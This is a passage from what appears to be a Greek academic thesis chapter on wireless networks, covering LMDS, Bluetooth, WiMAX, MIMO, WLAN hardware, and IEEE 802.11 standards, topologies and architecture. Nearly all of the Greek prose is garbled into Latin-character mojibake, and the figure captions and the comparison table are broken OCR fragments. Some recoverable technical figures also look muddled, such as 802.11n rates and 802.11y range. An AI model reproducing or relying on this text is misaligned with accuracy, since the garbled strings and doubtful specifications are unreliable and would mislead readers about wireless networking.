Twv WLAN o710 oTitl, €(el avamTOEEL Eva VEO TIPWTOKOAAO YIA TOV OKOTIO QUTO, TO 0TO(0
ovopaletat SWAP (Shared Wireless Access Protocol).

To SWAP ypnotpomolel éva véo TpwtokoAro oto vmootpwpa MAC, To omolo cuvdualel
XAPAKTNPLOTIKA Kal Aettovpyieg amd to DECT (éva mpotumo s ETSI yia Ymeakda
acvUppata TNAé@wva) kot to 802.11. H ouyxvotnta Asttovpylag elval ta 2.4 GHz, evw
xpnowomoteitaln texvikny FHSS, vmoompifovtag puBpovg dedopevwy ¢ Taéng tTwv 1
Mbps kat 2 Mbps.

e AocVppata Point-to-Point iktva

0 KUPLOTEPOG EKTIPAOCWTIOS TWV ACVPUATWV SIKTVWV e cVVEEoT aTo onueio-oe-onpeio
(point-to-point) eival ta acVpuata untpomoArtikd Siktua WMANS (Wireless
Metropolitan Area Networks), Ta ool xpnoLuoTolovV TeXVoAoyieg ov opotd{ouvv
oAV pe auteg Twv WLAN. H oUvbeon mov xpnoluomoteital cuviifws @aivetal 6to
ETIOUEVO GYN U




19

Ke@aAaio 2. AcUppata Aiktua

Point-to-Point E

Eucova 3. Aiktvo Point to Point

XpNOLHOTIOLWVTOG KATEVBUVTIKEG KEPAIES KL TEXVIKEG SLAPOPPWOTG OTIwG 1) ‘spread
spectrum’, Ta ikTua aUT& PTTOPOVV VA LTIOOTNPIEOVY HETAB00T) GE ATIOOTACELS HUEXPL
kot 30 pidla, amdoTaoT TAVTWE TTOU UELWVETAL AeONTA &TO SLAPOPOUS TTAPAYOVTES
OTIWG 0L KKBLOTEPNOELG LETASOONG KAl Ta SLa@opa UTOSLa kKal TapeRBoAgg. O puBuog
netddoong yioa ta WMAN pmopel va taoel ta 11 Mbps yia {gvgetg Twv 2-3 pidiwv.

e AcVppata Point-to-Multipoint Siktva

Ta diktva autd otnpifovtal otV SLecVVEEST ACVPUATWY (KWVNTWV 1) Un) XPNOTWV UE
uo otabept) mePLox oty ool BPloKeTAL 0 TTAPOYENS TWV LTIMPECLWY (Service
Provider), Tig omoleg popdlovrtat oL acUpuatol Xprotes. Ao amod Tig TTAEoV
OVATITUGOOUEVES TEXVOAOYIEG TETOLOV £(60UG aoVpHaATWY SIKTOWYV elval Kol ot:

MMDS (Multichannel Multipoint Distribution Service), n omoia Aettoupyel otV TEPLOXN
ouxvotntwy 2.1-2.7 GHz, evw pmopel va vtoompiel pubpo dedopévwyv £wg kat 10 Mbps
o€ aktiva 35 pAlwv.

LMDS (Local Multipoint Distribution Service), n omoia Asitoupyei o€ Stdpopeg
ouxvotntes (amo 24 pexpt 40 GHz), evw pmopel va vmootnpiel puBpove pexpt kat 155
Mbps o€ aktiva Aettovpylag Twv 2 pAiwy.

H teyvoloyia LMDS (Local Multipoint Distribution System) givat éva acUpuato

oVoTN X EMIKOWVWVIAG gupelag (wvng point-to-multipoint kat avkel o€ pla Katnyoplo
acUpuATWY TEXVOAOYLWV TIov KaAeitat WLL (Wireless Local Loop) mov Asttovpyel o€
ouxvotnTeG peyadltepeg Twv 20 GHz. H teyvoloyia autr) xpnouomoleitat yio tTnv
Tapoy” YMeLakov ap@iSpopuwy VTMPEcLWV OTIWG HETAS00T Sedopévwy, @wvng, video
kot Internet.

To Baoikd Sopkd otolyelo plag TETOLHG apXLTEKTOVIKNG elvat To keAl (cell) oto omoio
AapBavel ywpa n acVppatn emkovwvia. Kabe keAl 6to oot £xeL evav otabpo
Baomng (AP: Access Point) 1) hub, o omoiog avagépetat kal we central hub kat Bpioketat
oto CMN (Central Main Node). & kdBe keAl UTTAPYOLV ATIO AlYEG EWG TTIOAAEG
OTIOUOKPUOUEVEG HOVASES (remote units) oL 0TT0lEG AVTITTIPOCWTEVOLVV OVCLAGTIKA TOUG

XPNOTES.

H emikowwvia kat 1 Staxeiplon Twv povadwv autwyv yivetal pe tn foriBsia tov AP, 1
oVvdea e Tov omolo yivetal pe tnv BonBela evdg SA (Station Adapter). A&icel va
ava@Epoupe Tws oto AP pumopel va cuvdebel kat éva eveUppato Siktuo Héow pLog
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acvppatng yépupag (WB: Wireless Bridge). KaBwg 1 texvoloyia LMDS Seiyvel va
£QEAPUOTETUL 0A0EVA KAL TIEPLOCOTEPO OTA AOVPUATA SIKTLU EVPELNG TIEPLOYMG, EVW
UEPOG TNG VTTOOTNPLENG TNG UTTopEl va VAOTIOM Ol e TNV Xp1joT ACUPUATWY SIKTUWY
Tov otnpifovtat 802.11, amo@acicape v TNV HOVTEAOTIOU|COVE KAL VA TNV
TPOCOUOLWOOVNE OTA TAXIO LA TNG TApoVcAS EPpYATiNG

Bluetooth

e To Bluetooth ek866nxke amod v opdda Bluetooth Special Interest Group pe v
BonBela peplkwv pHeydAwv etalpelwy 0Tiws Ericsson, IBM, Intel x.a. To Bluetooth
Sev glval TPpwTOKOAAO Yo acUppaTH SIKTUX AAAG BPIOKEL EQAPUOYEG OT
acUpuata TpoowTtikd Siktuva WPANs (Wireless Personal Area Networks), mou
€xouv aktiva Spdons éwe kat 10 pétpa. To Bluetooth Aettovpyel oy umavta
Twv 2.4 GHz, xpnowomolwvtag wg texvikn Stapop@wong v FHSS kat o pubpog
petddoong Sedopévwv @tavel to 1 Mbps.

e Texvoioyla MIMO

H teyvoroyia MIMO (Multiple Input Multiple Output) £xet wG otOX0 Vo BEATIWOEL TNV
aktiva Spdong, TnVv oy Tou ofjuatos kat oty aflomiotio tov WLAN. H MIMO
TeXVOAOYia XPNOLUOTIOLEL TTOAAXTIAEG KEPQIEG EKTIOUTING KOl TIOAAXTIAEG KEpaieg AU,

¢  WIMAX

H teyvoloyia WIMAX avikel o€ pa VEQ olKOYEVELX TTPpOoTUTIWV. H Ttporyolpevn
mpwtogp@aviotnke to 2001, 6tav to Tpwto 802.16 TpoTUTIO EYKPIONKE KL TO
akoAoVOnoav Ta tpotuTa 802.16a, 802.16b kat 802.16¢ tpokelpévoL va BeATiwOoUv
Bépata mov oxeTI{OVTAV [E TO ACUA CUXVOTHTWY, TNV TOLOTNTA ESUTINPETNOTG KAL T
SladettouvpylkoTNnTAL

Tov 2003 avantiydnke to 802.16d yla va avtipetwmioel (nmuata tov ETSI, eve To
2004 dnpoctlomomBnke to 802.16-2004, To omolo KoL avaipese OAEG TIG TTPONYOVHEVES
ek800¢€lg Tov TTpotuTov. H TeAeutaia €A eivat To tpoTuTo 802.16€ TO 0TOl0
gvekpiOn to 2005 kat dnpocievBnke to 2006. Av kol BewpnTikd Sev avalpel To TPOTUTIO
802.16-2004, avtd woxVel mpaktikd. (E.M.I1aAAng, 2000)

2.5 AOMIKA XTOIXEIA

'l v Snuovpyia evdg acVpUAToL TOTIKOU SIKTUOU Elval amapaitn K&mTola
VALKOTEXVIKT UTIOSO T, WAGHE Yix Std@opa otolyela (components) Tov cuvtovi{ouv
™v petadoon, ANy kal emelepyacia Tov onuatos petalV Twv xpnotwv. H Soun avt
TepAaUBAavel TO60 To AoYLopIKo (software) 660 KAl ToV avaA0yo LVALKO eE0TIALOUOV
(hardware). Ot KaTnYopleg TWV GTOEIWY AVTWV AVAQEPOVTAL OTT) CUVEXELQ.

e Yvuokevég xpnotwyv (End-user devices)

H emikowvwvia Twv S1a@opwv Qaproy®V KAL UTINPECLOV LLE TOUG XPT)OTES O€ £VX
aocUpuato Siktuo yivetal péow ouykekpLluévwy cuokevwv. Eite to Siktuo eival
aoUPUATO 1} EVOUPLATO, Ol CUCKEVEG ATTOTEAOVV TNV TINYN EMIKOWVWVIAG HeTa& TOU
XPNOTN Kol TOU SIKkTVOV. TETOLEG CUOKEVES E(VAL OL ETOUEVEG:
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0 Xtabepol Ymoioylotég (Desktops)

0 ®opnrtoi YmoAoylotég (Laptops)

0 Ymoloyloti¢ maAdung (Palmtop)

0 Ymoloylotig Xelpog kal ektumwtég (Handheld PCs and printers)
0 [P Phones

o [P Cameras

0 Projectors

0 Printers

¢ Aoylwopko 8iktvov (Network Software)

‘Eva acVUpuato 8iktuo eival Sounuévo e To KATAAANAO A0YLo KO TIov BploKeTal o€
Suapopa pépn tov Siktvov. ‘Eva cotnpa Staxeipiong Siktoov (NOS: Network Operating
System), 6Tiw¢ eival yia Tapaderyua to Microsoft NT Server, tapexel Sla@opwv el8wv
VTN PEGIES, OTIWG UETAPOPA SESOUEVWY, EKTUTIWOT K.4.

Avutd ta cvoTpata otnpilovtal oty VTapdn evog eSumpetn Ty (server), o omolog
SlaBétel TIg TIG Baoels SeSopévwy OTIS 0TIOIEG UTTOPOVV Va £xouV TIPdoBact) oL SLapopeg
OUOKEVEG TIG OTIOLEG EAEYXEL 0 XPNOTNG. OL TEAELTALEG «TPEXOLVVY TO SIKO TOUG AOYLOULKO
(client software), To oToio KATEVOVVEL TIG EVTOAEG TOU XPNIOTN OTOV EELTINPETNTN.

e AcVppateg kdpteg Siktvov (Wireless NICs)

H aocvppatn kapta Siktvov (Wireless Network Interface Card) xpnoiomoleitat yix tnv
UETGS00T TOV PN @Lakol GTUATOS EVOG UTIOAOYLOTH HEGW TOU OACUPUATOU HECOU OE EVOV
Ao vTtoAoyLoTr. ZTnV Stadikacio auty cupmepAauBavetat n SLaUdP PO KaL M
evioyvon tov onuatog.

Ewcova 4. Acvpuates Kapteg Atktiov

H xapta Siktvou potadet pe pia Tumikn kapta Siktoou (eite og ISA 1) PCl yia otabepoig
vmoAoyloteg, eite oe PC Card yia @opnTtolc) pe pia pikpn kepaia

Mepkég eTaLpleG TAPAYOLV KAPTEG OL OTIOIEG CUVEEOVTAL UE TOV UTIOAOYLOTH HEC® ULAG
RS-232 oelplaknc 1§ mapaAining 80pag. H Stacvdeon ¢ acpuatng KAPTAS LE TNV
OUGOKEUN TOV XP1|0TI CUUTIEPIAXUBAVEL Kal Evay 001y0 AoyLopkov (software driver)
TIov oLVVOEeL To Aoyilopko Tou NOC otnv kapta.

e Inueia mpdoPaocng (access points):

To onpelo mpoGPacn§ elval Lo KEVTPLKN CUCKEUT O€ £va AoVUPHUATO TOTILKO S(KTUO TTOU
TOAPEXEL TO EVPOG YLK TNV ACVPUATN EMKOWVWVIA PE ToUG GAAouG aTtabpols oe éva
SixTvo. ZuVNBWGS CLVSEETAL O€ VX EVOUPHATO SIKTUO KL ETOL TAPEXEL LLA YEQUPOA
QVAPETH GTO EVOUPUATO SIKTUO KL TIG AOCVPHATEG CUOKEVEG.
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Ewcova 5. Linksys WAP54G 802.11g Wireless Access Point (aplotepa) -
Bounyaviko oxé5io Wireless Access Point (5eéi&)

Ta onueia mpdcBaong TepAaUBAVoUY XAPAKTNPLOTIKA AGPAAELNG OTIWG ETIIKVPWOT) KAl
KPUTITOYpA@1N 0T, £EAgy)o TipocPacng mov Baciletal o€ AloTeg 1] @IATpA KABWG KAl TTOAAK
aAAa Ta ool cLVNBWG ATTALTOVY TN PUOULGT] TOUG ATIO TOV XPNOTH CUUPWVA UE TIG
TPOTLUNCELS TOV, CUVIOWGS XPTCLUOTIOLWVTAS pia Stemagt) faciopévn ato Siadiktvuo.
[ToAAG& onpela Tpdofaong mepAapfAvouy EMITPOCOHETA XAPAKTNPLOTIKA SIKTOWONG
OTIWG TTUAEG SLASIKTVOV, KOUBOUG HETAYWYNG, ACVPUATES YEPUPEG 1] ETAVAAVTITEG. ZTNV
elkOva BAETov e pepkd onueia tpdoPaong. (Held, 2003)

e AcvVppateg Tomkég I'é@upeg (Wireless Local Bridges)

Ol aoVPUATEG TOTILKEG YEQUPES Elval TTOAD OTJUAVTIKO KOUUATL TG TOTIOAOYI0G EVOG
S1kTVOV KABWG CUVEE0VV TTOAAA TOTILKA SIKTLA HETAEY TOUG 0TO ETITTESO TOU
vmooTpwUatos MAC ylx TV Snuovpyio VoG EKTEVEGTEPOU KAL TILO AELTOUPYLKOU
Siktvov. OLyEupes xwpilovtal oe U0 KaTNnyoples:

Local bridges: Anpiovpyia cv8eong avapuesa 0€ KOVTIVA TOTILKA S{KTL

Remote bridges: Anplovpyia cvvdeong avapeoa SikTua TTOU YWwPL{oVTAL ATIO ATIOCTACELG
UEYAAVTEPES ATIO AVTEG TIOU UTTOPOVV VA UTIOGTNPIE0VV T TIPWTOKOAAX TWV TOTILKWY
SIKTVWV.

=
& <) \ ,

Modem \ /

Ewkova 6. Svvbeouodoyia Siktoov us Acvpuatn Tomikn F'épupa
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Zuvn 0w oL YEPUPEG, OL OTIOLES ElVAL GUGKEVEG TIOU XPNOLUEVOLVY OTNV SlacVVEEDT
QOUPUATOV HE EVOUPUATOU SIKTUOV, aAA& Kat T StaoVvdeon ToAAwv WLAN petadld
TouG, avaepovtal ws APs (Access Points).

e Kepaieg (Antennas)

Ol KePALEG XPNOLUEVOVY GTNV EKTIOUTT] TOU SLAUOPPWHUEVOU OTIUATOG HECW TOU AEPQ.
['evikd, oL kepaleg ywpllovTtal o TOAAG (61 Kol peyeOn kot xapaktnpi{ovral amo:

e Iox0¢ petadoong (Transmit power)

e Evpog {wvng (Bandwidth)

e Movrtédo Suadoong (propagation pattern)

¢ EvaloOnoia (Gain)

0 tpoTog oV petadidel To onjpa pla kepaia kaBopilel emiong Kol TNV TTEPLOXT KAALYIMG
™. 't v petddoom Tov oM patog ota acVPUATA SIKTLUA XPTOLHLOTIOLOVVTAL KUPIWS
600 €l8M kepalwv:

[HoAvkatevBuvtikn (omnidirectional) kepaia: [TpoKeLTAL YIo KEPAIES TIOV SLOYETEVOUV
™V oYV TouG TPoG KaBe katevBuvor. ABpoloTikd £xouv TV (Lo evioyvor Tpog Kabe
katevBuvoT). To TTPOTUTIO EKTIOUTIG TOUG E(VAL TETOLO, WOTE VA STJULOVPYOVV YUP® TOUG
£va Tedio oV HOLALEL PE KITITAUEVO SloKOY.

MovokateuBuvtikn (directional) kepaia: CUYKEVTPWVEL TO HEYAAVTEPO UEPOG TG LOXVOG
™G o€ pia povo katevbuvon. (E.M.IIdAAng, 2000)

2.6 TO IIPOTYIIO IEEE 802.11

To Tp@TO TPATUTO AGVPUATWY TOTIK®WV SikTVWV To IEEE 802.11, To omoio kabopilel
Tov éAeyxo mpoofaong péow (MAC) kat ta @uokd otpwpata (PHY) yua éva LAN pe
aocvUppatn oVvdeat, voBetONKe To 1997. ZVPPWVA PE AUTO TO TPOTUTO, EEETALETALT
TOTIKT AoVUPHATT SIKTOWOT CUCKEVWYV TIoV BplokovTal KOVTA.

A Vv apyixn Tou ékSoon, IEEE 802.11, to mpdtuTo £xel emekTtaBel o€ TTOALAPLOUES
ouadeg, Tov kabopilovTal Ao TA YPAUUOTO a UEXPL TO i.

¢ HOwoyévela

Yta téAn tov 1999 1 IEEE xowomoinoe 600 véa cupmAnpowpatikd mpotuna yiao WLANS,
ta 802.11a, 802.11b, 802.11g kot 802.11y:

0 To 802.11a éxeL kaBoploTel £TOoL WOTE Vo VTTOOTNPLlEL pUOBUOVG SeSopEVWV
€ws kol 54 Mbps (ovouaoTtik6g pubuog uetadoong), pe ocuvndn pbuuod
uetadoong 23 Mbits/s, eufedela 0WTEPIKOV XWPOU €wG kKal 35 m kal
xpnon g texvikng Stapop@wong OFDM (Orthogonal Frequency Division
Multiplexing) otnv pmavrta twv 5,7 GHz.

0 To 802.11b elval OUCLAOTIKA O AVTIKATACTACTNG TOU apxlkoy 802.11
kaBwg vmootnpilel puBpovg Sedopévwv €wg kat 11 Mbps, epféeia
ECWTEPLKOV XWPOU £w¢ Kal 35 m kal xpnooTolel wg Slapop@won v
texvikny DSSS  (direct-sequence spread spectrum) ota 2.4 GHz.
(References)
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0 Emiong to 2003, n IEEE kowomoinoce to mpotumo 802.11g, 1o omoio
vmootnpilel puBpols Sedopévwy £wg kat 54 Mbps (ovopaotikog puBpog
uetddoong), upe ovvbn pbuvpd upetadoong 19 Mbits/s, euféiewax
E0WTEPLKOV YWPOU £w¢ kal 38 m pe v texvikn OFDM ota 2.4 GHz.

0 T to 2008, mpotdBnke amoé v IEEE 1o mpotumo 802.11y, to omolo

xpnoiuomotel mv texviky MIMO(Multiple - Input Multiple - Output) pe
ovxvotnta 3,7 GHz, puOuo petadoong 54Mbits/s kat epféreia 5000 m

EKTOG Twv Tapamavw ek800ewV £XoUV TPOTAOEl Kol KATIOLEG GAAEG ETTEKTACELS TOVG, OL
omoleg Opwg Sev €xouv vAoTOMBEl O EUTOPIKA TIPOIOVTA KAl £XOUV TEPLOCOTEPO
akadnuaiko evila@Epov.
0 Ouomovdaidtepes eivat: 802.11f1) IAPP, To 0Ttoio eMITPETEL AUEDT) ETIKOVWVIA
netadV SlaopeTikwv AP wote va eadelpBel  amtwAela TAALGIWY KATA TN

UETOY WYT).

0 802.11e1 QoS to omoio MpooTaBel va SLOGPAAIGEL TTOLOTITA UTINPECLOV YLIA
EQAPUOYES TIPAYLATIKOV XPOVOU TIOU EKTEAOVVTAL TTAVW o€ eva WLAN
EAQYLOTOTIOLWVTAG 1] LEYLOTOTIOLWOVTAS £VA ATIO TA TIHPAKATW KPLTNPL: LEOT
KaBuoTtépnon amd dkpo o€ Gkpo, peon HeTafoAr TG KabBuoTépnong 1| HEGO
TOC0CTO ETILTUYOVS TTAPAS00T G TTAALGIWY. AUTO TO ETTUYXAVEL BEATLOVOVTOG
Toug unxaviopovg DCF kat PCF pe toug unyaviopous EDCF, o omoiog avabétel
TPOTEPALOTNTES OTA TIAXIOLX SESOUEVOV AVAAOYQ IE TO TTOGO XPOVIKA KploLun
glvatn Tapadoot] Toug Kal He Ta HEYAAVTEPTG TTPOTEPALOTITAG TAALTLX VO £XOUV
TEPLOGOTEPES TIOAVOTNTES VA KEPSIGOUV GTOV AVTAYWVIOUO YLt TV TTPOGaot
070 Kowo péoo, kat HCF, o omolog meplopilel Tov péyloto xpovo S€aELOTG TOU
KOVOALOU Ot €VO TEPUATLKO, avTioToa.

0 802.11n, To omolo ue xpnomn moAAATA®WY Kepalwv (LEBoSog yvwot wg MIMO, ek
tou Multiple Inputs Multiple Outputs) map£xel ovouastikod pubuod petaddoons
TovAdylotov 108 Mbps. To tpotuTo oplotikomowmOnke to 2009. (Wikipedia)

Y€ YEVIKEG YPOAUUEG, 1] EEEALKTIKN TIOPELA TWV TIPOTUTIWV PAIVETUL GTOV TIHPAKATW
Tivoka:

802.11 802.11a 802.11b 802.11g 802.11n 802.11y

Mmnavta 2,4 GHz 5,7 GHz 2,4 GHz 2,4 GHz 2,415 GHz 3,7 GHz
Modulation OFDM DSSS OFDM MIMO - OFDM

PuOuog 2Mbps <54 Mbps <11 Mbps <54 Mbps <248 Mbps <54 Mbps
Metadoong

Amtéotaon 20 m 35m 35m 35m 70 m 5000m

Xpovia 1997 1999 1999 2003 2009 2008
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e Xapaktnplotika tov IEEE 802.11

H {wvn cuyvot|twv Twv 2.4 GHz ofpepa eivat 8laltepa Snuo@ing. Auto cupfaivel
SLOTL TIPOKELTAL YA EAEVOEPN {WHVN TIOV £XEL CUYKEKPLUEVA XOUPAKTTPLOTIKA TIOU
XPNOLUEVOLVY YIA LETAB00T O€ UIKPEG ATIOGTACELS.

o0 Eupélewa

H gupédeia evdg ToTKOU doVPUATOL SIKTUOU 0€ E0WTEPLKOVS XWPOUG KUUXIVETAL ATTO
Ta 20-38 pétpa. Ta padokvpata Opws Oa TPETEL va SLATIEPAGOVV TOIXOUG KAL 0POPEC,
OTIOTE £XOVHE OTUAVTIKES ATIWAELEG. ETionG To ofjpa avakAdTaL amo TI§ TPOSTITTOVOES
eMupaveleg.Le mepaALov Opwg pe omtikn emagn (Line Of Sight), o€ e§wtepikd xwpo, n
euférela Touv aocVppatov SikTVoU elval peyaAUTEPT KAt EEAPTATAL ATIO SLAPOPOVS
TOPAYOVTEG IOV OXETI{OVTAL [IE TIG CUOKEVES OTIWG TNV valodnoia Tov Sk, TNV
TOLOTNTA TWV KEPALWYV KL TNV EVBVYPANULOT TOUG, TO £TIiTESO TTAPEUBOAWY Kal
Bopupov.

0 puBU6G peTAS00MG TOL ONUATOS EEXPTATAL ATIO SLAPOPOUVS TTAPAYOVTES OTIWG OL
TAPAUETPOL PASIOPETAS00NG (EUPEAELX, AVAKARTELS, ATIOPPOPT O KAl OKESAON ), AAAA
KoL 0 aplOpog twv xpnotwv. (Ewkova 8)

)
|t8o2.11m)
| ¥ -

e T
SGkKbps | Ricochel |
1 Modem | Radio Modem
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sl o voed ool sovmed 3o o oued o oimed 3aid u o
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Ewcova 8. PvBuol uetadoong Stapopwv tTeEXvoroyitwv (o€ bps) wg mpog To £Tog
EUPAVIONS TOUG.

0 IMowdta emkowwviag

MeTd amd eEKATOVTASEG EUTIOPLKES KUL OTPATLWTIKEG EQAPUOYEG, OL TEXVOAOYIES
AoUPUATNG HETAS00MG EXOUV YIVEL TIOAV a&LOTILOTEG. AUTEG HTTOPOVV VU TIAPEXOUV OTOUG
XPNOTEG TOUG AELOTILOTEG CUVEEOELS KAl 0€ KAAVTEPO ETITESO ATTO OTL OL AVTIOTOLYES
oTNV KNt ThAEQwvia.

0 uvuBardtnTape To Vdpyov SikTvo




26

Ke@aAaio 2. Acvppata Aiktua

Ta o ToAAG acVppaTa SIKTLA £X0VV CUYKEKPLUEVO TPOTIO SLLaVVEEDON G UE T
gevovppata diktva. EtoLn mpoodptnon acupuatns SIKTUWONG, € UTIAPYOVCES SOUES
SiktOwv, umopel va yivel pe ekoAo TpoTO.

0 HapepBoré

To acVUpuaTo ToTko SikTLO UTopel va SexTel Kot va TTpoKaAécel TapeUPOAEG o€ AAAEG
OUOKEVEG IOV AELTOUpyoUV ota 2.4GHz 0Ttwg dAAa acvpuata Siktua, acupuaTa
TNAEQWVA, POVPVOL UIKPOKUUATWY Kol 6UoKeVEG Bluetooth. Znpavtikdtepes OUws elval
oL TTapeUPOAEG IOV TIPOKVTITOVV ATIO TNV Kak1 oxediaon evag acUpuatov Siktvov. I'a tov
Tapamavw Adyo xpnopomoleitat to 802.11a dmov eival o kabapn umavta.

0 AWALLTOVPYIKOTNTA

OL TEPIMTWOELS KATA TIG OTIOIEG 0L CUOKEVEG 8 cuvepyalovtal peTadl Tou elval:
»  ALX@OPETIKEG TEXVOAOYLEG

Mua petadoon Baciopévn oe texvoAoyia FHSS Sev umopel va cuvepyaotel pe kamola
Tov Baciletal o€ Teyvoroyia DSSS

> ALA@OPETIKEG CUYVOTTEG

YUOKEVEG IOV AslTovpyoUv o€ ouxvotnta 5 (5,41 5.7) GHz Sev pmopolv va SovAgouv
nadi pe ovokevég o epyalovrtat ota 2.4GHz.

»  ALA@OPETIKEG VAOTIOUCELG

ZUOKEVEG IOV TIPOEPYOVTUL ATIO SLAPOPETIKOVG KATAOKEVAOTEG UTopPEl va pnv
ouVEPYALOVTAL T VO CUVEPYATOVTAL LEPIKWS HETAED TOVG. MLa TTpoaEyyLon o1 AVoT) Tou
TpoAnuatog eivat ) dSnpovpyla Tou Tiotomomtikoy Wi-Fi.

Mia AVom mov e€etaletal eivan pdtaon ¢ IEEE yla ) Siamopmy) o€ etepoyevn
Sixtva. M opada g IEEE aoyoAeital pe v emitevdn Siamopumng kot cupfatotntog
HETOEY SIKTUWV PE SLH@POPETIKO TUTIO TEXVOAOYIOG, IOV UTIOPEL VA ALVI)KEL TOGO GTO
ovvoro Twv 802 mpotumwv TG IEEE 600 kal oe GAAa ipoTLUTIA (TL.Y. KUPEAWTA).

H katevBuvon otnv omola KIveltat n opdda au T ava@epeTal ws Alamopr)

Avefaptnn tov Méoov MIH (Media Independent Handover), eve To 6UVoAo Twv
OXETIKWV TIPOTUTIWV elval yvwotd we IEEE 802.21.

TevikoTepa Ta TEAELTALX XPOVLIA, 0 GTOXOG SLAPOPWV EPEVVITIKWV OTAOUW®WV glvat oL
£€peVVeG e oTdY0 TNV Guinon s eveAEiag Twv ACUPUATWY ETIIKOWVWVIWY. H
texvoAoyla tou Cognitive Radio 1 I'vwotika Zuotipata Padloemikovwviwy amofAEmel
otV BeATiwon TG EMKOWV®VIAG, EMTPETOVTAS 6TA ACVPHATH SIKTUX VA SlaBETouV
gvELia — VONUOoUVT YLA VX TIPOOAPUOLOVTAL KATAAANAQ 0TI 6UVONKES AelTOoLpYIag.
(Katoapfpidg, 2009)

0 HTomoAoyia Tov 802.11

H tomoAoyia tov 802.11 amoteAeiTal amd oTo el TOU AAANAETILOPOVV WOTE VA
TapEYOLUV Eva aoVPUATO TOTILKO SIKTUO IOV VA TTApPEXEL TN SUVATOTNTA LETAKIVIIONG
TV 0TABHWV 1) OTIolX VA UMV YIVETAL AVTIANTITH OO TA AVOTEPA CTPWHATA, OTIWG TO
LLC (Logical Link Control). Evag otaBuog (station) eivat k&8s cuokeun 1 omoia
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eumepLExeL TIg Aettovpyieg tou 802.11 (dnAadn to emimedo MAC, to @uOIkd GTPpWUA KAl
ua Staovvdeon (interface) pe To acvpuato péco).

Ot Aettoupyieg Tov 802.11 evumapyovv (reside) o€ pa acVppatn kapta Siktvov NIC
(Network Interface Card), To Aoylouiké Sltacvéeong mov odnyel v kdpta NIC kot tov
otaBuod Baong 1 AP (Access Point).

> BSS

To Baowkod Souwd ototyeio evog IEEE 802.11 LAN eivat to BBS (Basic Service Set). Zto
TOPAKATW oxNua @aivetat éva BSS, o omoio éxet N otaBpovgs (STA) ol oroiot eivat uéAn
Tou BSS. Av évag otaBuog petakivnBei é€w amo to BSS Sev pmopel mAéov va emikovwvel
Apeca Pe Ta GAAa LéAN Tov cuyKekpLévou BSS.

Eikova 9. Eynuatikny avanapaotaoct) vog BSS.

> IBSS, Independent Basic Service Set 1) Peer-to-Peer 1) Ad-Hoc

[Ipoxeltat pia oAV oA TomoAoyia yia acVppata diktva. Ot otabpoli eival icol petaty
TOUG KAL ETKOVWVOUV EVAG TIPOG £VAV XWPI§ VA UTIAPYEL KEVTPLKOG OTABNOG
ETKOLVWVIAG.

IBSS

Ewkova 10. Zynuatikny avanapaotaocn) evog IBSS

Qotdoo amapaitntn TPoUTOOEST YIX TNV CWOTH AELTOVPYIX EVOG TETOLOU GUGTNUATOS
elvat o kaBe otabuog va Bpioketal evtog g epférelag Tov GAAov. To cuotnua IBSS
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elval xp1|OLUO OE TEPITITWOELS TIOV €iTE SV UTIAPXEL AGVPUATN VTIOSOUT KAl SeV
XPELALETAL EITE OL TIEPLOXEG TIOV TIPOKELTAL VO KAALPBOOUV Elval TIEPLOPLOUEVES.

» DS, Distribution System

Me tov 6po DS evvoouue éva cOotnua Stavouns. Ipdkettat yia éva iktuo to otoio
ouVSEeL TouG aTabpols Baons T6co PETAEY TOUG 660 Kal pe Ta vtoAotma Siktuva. H oAy
HeyaAn svediia otn oxedlaom ivat Eva amo Ta fACIKA TTAEOVEKTILATA TNG
OUYKEKPLUEVTG TEXVOAOYIQG.

> ESS, Extended Service Set

‘Otav oL vmmpecieg evog cuotruatog IBSS Sev eival apKeTEG, TOTE OTPEQPOUACTE GE OTNV
o oVvBeTN Soun evog ToTkoU SikTLOV, Tov ovopaletal ESS (Extended Service Set). Me
™ BonBela avtov Tov cuaTHUATOS elval Suvatr 1 SLcVVSEST KalL 1] ETKOWVWVIA
moAAwV BSS petadl tous. To otoiyeio movu xpnopomoleltal yia tnv Stacvvdeor twv BSS
glvat To cvotnpa Stavoung DS.

H mpdcoBaon oto cvotnua Stavourg yivetal pe tnv Bonfela evog ataduov AP, o omtoiog
TapéxeL T Slaovvdeon Twv oTabuwyv mov Bpilokovtat o€ Stagopa BSS oto cuotnua
Stavouns. H Staoivdeon autr] @alvetal 0To EMOUEVO GYTHA.

Ewkova 11. H ovvdeon twv BSSs ue to DS

H mAnpo@opia petaxveitar and BSS oe BSS péow twv AP Tou cuotpatog Stavoung,
£V TO oLoTNUA Slavoung vTtoatnpilel Toug TOTOLG kiviion g Tou 802.11 TTapEyovTag
UTIMPEGLEG LKAVEG VL EAEYYOLV TNV avTloTolynon (mapping) tng StevBuvong atov
TPOOPLOUO Yo KAOE OTABUO TIOU LETAKLVELTOL

0 HApyirtektoviki) Tov 802.11

Evw 1 TtomtoAoyia kaBopilel Ta avaykaia péoa yia n @Uoikn Stacvdeon Tou
aocUppaTov SIKkTVoV, 1 apxLTEKTOVIKN KaBopilel Tov TpOTO ActTtoupylag Tou Siktvou. H
emtpom Twv IEEE 802.11 mpotimwy opifel §U0 YwploTd 6TpOUATA, TO OTPWUA
Logical Layer Control (LLC) - 'EAgyxog Aoyikou Zuvééopovu kat to Media Access Control
(MAC) - EAéyyov IIpoomédaong Méowv, avtioTolya yla To €MIMESO TNG HLETAS00TG
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Sdedouévwv (Data Link Layer) tov povtédov 0SI4 To acVppato tpotumo IEEE 802.11
0pLleL TIC TPOSLAYPAPES VLA TO PUOLIKO OTPWHA Kot Yl To MAC oTpwpa ov
ETILKOLVWVOUV PEXPL TO oTpwua LLC 0Tw @aivetal oty eikova 17.

L |
Reforence Model

7. Application

&, Preasantation

5, Session
=, Transport

3. Netwoark

o ik [ ®m02.= Logical Link Contral (LLT) |
- n MAC v r o . — - -
ey Bo=.3 BOZ 4 aDZ.% BOZ.11
. Bhsiaal P 2 Taken Taken Wirslass
FEien Ethernet Bus Ring _ LAN

Eikova 12. Avtiotoyia OSI us 802.11

Ta TPWTOKOAAX IOV XPNOLUOTIOLOVVTAL ATIO OAES TIG TTApaAAayEG Tov 802,
ouvpmeplAapfavopevou tou Ethernet, £gouv kamola kowva onueia atn Soun toug. Mia
uepkn amoym g otoifag mpwTtokdAAwvY Tov 802.11 @aivetal otnv elkova 18.

AnGTEp:
emimean

Emimeé&o
U SE GO
HETG&EOCHT
SES0IEM

P

S80Z.11 nh= g0Z2.11 p= g80Z.11 p= B80Z.1la p= g§0Z.11b p= g0Z2.11lg p= FroL R
imépuape g FHSS DHsS oo HE-DSES oFpn =min=ao

Ewkova 13. Mépog ti)¢ otoifag mpwTtok6AAwv Tov 802.11

